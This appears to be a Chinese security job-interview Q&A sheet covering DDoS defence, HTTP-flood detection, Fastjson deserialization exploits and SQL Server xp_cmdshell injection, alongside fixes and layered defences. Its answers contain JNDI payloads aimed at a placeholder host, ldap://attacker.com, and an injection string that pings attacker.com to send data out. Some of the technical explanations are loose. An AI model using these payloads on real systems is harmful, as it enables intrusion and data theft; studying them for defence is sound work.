奇安信二面 - 技术栈

上难度

问题1 ：

设计抗DDoS方案时，如何在网络层、传输层、应用层分别部署防护？各列举2项关键技术。

答案：

问题2 ：

如何通过Nginx日志分析识别HTTP Flood攻击？给出至少3个关键指标及对应阈值设置逻辑。

答案：

问题3 ：

分析Fastjson 1.2.24反序列化漏洞利用条件，给出利用JdbcRowSetImpl的完整Payload及修复方案。

答案：

Payload：

{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://attacker.com/Exploit",
"autoCommit":true
}
修复：
1. 升级至1.2.25+并启用safeMode
2. 配置ParserConfig.getGlobalInstance().addDeny("com.sun.rowset")

问题4 ：

Fastjson 1.2.68修补了AutoType绕过漏洞，请解释攻击者如何通过异常抛出机制绕过黑名单检测。

答案：

绕过原理 ：
1. 利用java.lang.Exception子类中的@type字段触发反序列化
2. 异常类加载时绕过checkAutoType()检查
Payload示例：

{
"@type":"java.lang.Exception",
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://attacker.com/exp",
"autoCommit":true
}

问题5 ：

某系统允许通过SQL语句调用存储过程，如何利用xp_cmdshell实现RCE？说明防御的多层方案。

答案：

攻击步骤 ：
1. 注入语句：'; EXEC master..xp_cmdshell 'ping attacker.com'--
2. 通过DNS或ICMP外带数据
防御方案 ：
1. 数据库层：禁用xp_cmdshell、最小权限运行
2. 应用层：输入过滤（如禁用EXEC关键字）
3. 网络层：出站流量监控

问题：

设计抗DDoS方案时，如何保障核心业务在500Gbps流量攻击下的可用性？需包含架构设计及应急响应流程。

答案：

架构设计 ：
1. 流量清洗中心：AnyCast+GRE隧道引流
2. 多CDN动态调度（如Cloudflare+Akamai）
3. 业务降级：静态页面回退、非核心服务限流
应急流程 ：
1. 实时监控触发阈值（如95%带宽占用）
2. 自动切换至清洗中心
3. 人工分析攻击特征更新防护规则